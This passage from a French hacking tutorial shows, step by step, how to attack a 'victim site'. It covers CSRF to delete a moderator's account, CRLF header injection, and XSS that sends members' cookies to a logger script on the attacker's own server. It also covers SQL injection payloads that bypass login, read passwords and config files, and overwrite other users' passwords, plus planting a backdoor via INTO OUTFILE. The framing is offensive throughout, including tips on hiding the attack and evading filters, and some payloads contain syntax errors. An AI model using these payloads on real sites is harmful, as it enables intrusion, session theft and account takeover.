G) Faille CSRF (Cross Site Request Forgery)
Cette faille permet d'exécuter une requête passée en GET par une personne ayant plus de droits que nous sur le site (généralement le modérateur ou l'admin). Nous voyons que sur notre site victime, la suppression d'un membre se fait par GET:
www.site.com/delete.php?membre_id=58
Bien sûr l'admin a sécurisé cette requête en la rendant inactive si l'on ne possède pas les droits adéquats. Alors, pourquoi ne pas lui "demander" à lui de le faire ? Nous visitons le profil de SuperModo2000 (un modo que l'on aimerait bien voir disparaitre) qui a pour url:
Code:
www.site.com/membre.php?membre_id=8
Code:
www.site.com/delete.php?membre_id=8
H) Faille CRLF (Carriage Return Line Feed)
Cette faille peu connue permet d'insérer un retour à la ligne dans un champ input et nous permet ainsi d'injecter des headers non attendus qui seront pris en compte dans le traitement du formulaire si les données entrées ne sont pas vérifiées. Revenons sur notre site victime et allons dans la partie "mot de passe oublié". Le site nous indique simplement de rentrer notre adresse e-mail afin de recevoir notre mot de passe.
Le code se présente comme ceci et sera envoyé par la fonction mail():
Code:
<form action="lost_password.php" method="POST"> <input type="text" name="email"> <input type="submit" value="Envoyer"> </form>
Ceci étant, si le script php vérifie les caractères injectés comme le "%", on est mal... Ou pas. Il suffit de transformer l'input en textarea ! Et ceci avec un autre plugin de Mozilla: FireBug. Ce plugin permet de modifier le code source d'une page en directe et d'appliquer ces modifications.
Voici les étapes:
1) On se rend sur la page de récupération du password:
2) On ouvre FireBug:
3) On modifie l'input en textarea:
4) On injecte notre header "Cc":
5) On clique sur envoyer !
Bien sûr nous ne sommes pas limités au header Cc: , ainsi plusieurs autres requêtes peuvent être envoyés de façon altérée.
I) La faille XSS
La fameuse faille XSS. Elle provient du fait que les données manipulables par l'utilisateur ne sont pas vérifiées par l'instruction htmlspecialchars(). Le plus souvent ces données manipulables sont passées en GET afin d'en donner un usage global. Revenons sur notre site victime et cherchons une url potentiellement vulnérable:
www.site.com/galerie.php?i=14
La page affiche l'image correspondant à une id spécifique stockée dans la base de donnée. La valeur est donc transmise par GET. Testons la vulnérabilité de l'url en injectant du JavaScript:
Code:
www.site.com/galerie.php?i=<script>alert(1)</script>
Cependant, afficher une alert() n'est pas intéressant ; essayons plutôt d'inclure un script js distant et de voir s'il fonctionne.
Code:
www.site.com/galerie.php?i=http://www.notre-site.com/script.js
Code:
alert('Test de remote script');
On comprend donc vite que l'on peut rediriger un membre sur une page de notre serveur contenant un script récupérant ses cookies. Afin de rester un minimum discret, on va inclure un script js redirigeant le membre vers notre page cookie.php.
Notre script.js contient:
Code:
document.location='http://www.notre-site.com/cookie.php?cookie=" + document.cookie
Code:
<?php if(isset($_GET['cookie']) && is_string($_GET['cookie']) && !empty($_GET['cookie'])) { $referer = secure($_SERVER['HTTP_REFERER']); $date = date('d-m-Y \à H\hi'); $data = "From : $referer\r\nDate : $date\r\n".htmlentities($_GET['cookie'])."\r\n------------------------------\r\n"; $handle = @fopen('cookies.txt','a'); fwrite($handle, $data); fclose($handle); } ?>
Code:
www.site.com/galerie.php?i=http://www.notre-site.com/script.js
Tout est prêt. Si un membre arrive sur cookie.php, son cookie sera enregistré dans cookies.txt par l'intermédiaire d'un GET. Et si l'on veut camoufler ça, on mettra l'url comme source d'une image, ça affichera une image cassée (sans la lib GD) mais le membre qui clique dessus arrivera bien sur notre page cookie.php .
Il existe d'autres façons de se servir de la faille XSS, notamment en ce qui concerne les input (livre d'or, commentaire, champs d'enregistrement...). Si les caractères injectés ne sont pas formatés, on peut alors inclure du javascript dans le champ d'un livre d'or ; ainsi il sera exécuté chaque fois qu'un membre affichera la page. Ou alors on peut pousser le vice plus loin et inclure du javascript dans notre signature ; quand des visiteurs viendront voir notre profil, le code sera exécuté. Dès lors, on peut inclure une redirection vers une page piégée ou autre. Les possibilités sont sans limites .
J) Injections SQL
Le but de cette technique est d'injecter une requête SQL inattendue par le serveur dans le but de récupérer ou modifier des données sensibles. Encore beaucoup de serveurs ne sécurisent pas ses entrées et permettent les injections SQL. Rendons nous sur la page d'authentification de notre site victime:
www.site.com/login.php
Il y a deux champs: login et mot de passe. Le script PHP de traitement est le suivant (70% des cas):
Code:
$pseudo = $_POST['pseudo']; $password = $_POST['password']; mysql_connect('Serveur', 'NomDUtilisateur', 'MotDePasse'); mysql_select_db('membres'); $requete = mysql_query("SELECT * FROM membres WHERE pseudo = '$pseudo' AND password = '$password'");
Code:
SELECT * FROM membres WHERE pseudo = 'hacker' AND password = 'whitehat'
Code:
nawak' OR 1=1 #"
Code:
SELECT * FROM membres WHERE pseudo = 'Jack58' AND password = 'nawak' OR 1=1 #'
Mais ne nous arrêtons pas là. Nous remarquons l'url suivante:
www.site.com/profil.php?membre_id=5
La page affiche le pseudo du membre selon l'id indiquée, le script est donc probablement comme ceci:
$sql = SELECT pseudo FROM membres WHERE membre_id=$_GET['membre_id']
$data= mysql_fetch_array($sql);
echo $data['pseudo'];
Testons la vulnérabilité de l'url en insérant un apostrophe " ' " dans l'url:
Code:
www.site.com/profil.php?membre_id='58
Code:
www.site.com/profil.php?membre_id=58 UNION SELECT password FROM membres WHERE membre_id=21 INTO OUTFILE 'www.site.com/recup.txt'
Code:
SELECT pseudo FROM membres WHERE membre_id=58 UNION SELECT password FROM membres WHERE membre_id=21 INTO OUTFILE www.site.com/recup.txt'
De même, si nous connaissons l'emplacement du config.php (par SE par exemple) nous pouvons en copier le contenu dans un autre fichier grâce à la fonction LOAD FILE. Injectons la requête suivante:
Code:
www.site.com/profil.php?membre_id=58 UNION SELECT LOAD_FILE('/config/config.php') FROM membres INTO OUTFILE 'www.site.com/config.txt'
On remarque également que dans notre profil, l'on peut également changer notre mot de passe. Pourquoi ne pas essayer de changer le mot de passe d'un autre membre à partir de notre profil ? Rien de plus simple, utilisons la requête UPDATE qui permet de modifier des données dans la BDD. La page contient un input ou l'on doit rentrer notre nouveau pseudo pour écraser l'ancien ; injectons la requête suivante dans l'input:
Code:
nawak' WHERE membre='Jack58'#
Code:
UPDATE membres SET password='nawak' WHERE membre='Jack58'#'
Comme vous le voyez, il existe des centaines d'injections SQL, et la requête UNION nous offres un panel d'injections inimaginable , avec de l'imagination on peut tout obtenir.
III) GRR ou maintient du contrôle
Nous avons testé et trouvé des failles sur notre site victime. Mais il ne faut pas s'arrêter là pour autant, l'important est de garder un minimum de contrôle sur le site ; c'est le GRR (granted root rights). Le plus simple pour cela est d'arriver à installer une backdoor sur le serveur afin d'y avoir notre porte dérobée. Deux façons (entre autre) simples pour cela.
La première est de réussir à uploader notre backdoor.php grâce à la faille upload(). L'autre est tout simplement d'écrire un fichier backdoor.php avec INTO OUTFILE comme ceci:
Code:
www.site.com/profil.php?membre_id=58 UNION SELECT '<?php phpinfo(); ?>' FROM membres INTO OUTFILE 'www.site.com/backdoor.php'
Je n'ai pas parlé des techniques de bruteforce ou de l'intrusion FTP qui pour moi ne sont que failles de protocoles ; il existe des centaines de tuto sur le net.
N'oubliez pas que même si certains caractères (<,>,",',=...) sont transformés à des fins de sécurité, il y a toujours moyen de les encoder ou de trouver des séquences (HEX, ASCII) de remplacement adéquates.
Et surtout, il n'y a de limite que celle imposée par votre imagination .
--------------------------------------------------------------
Commentaire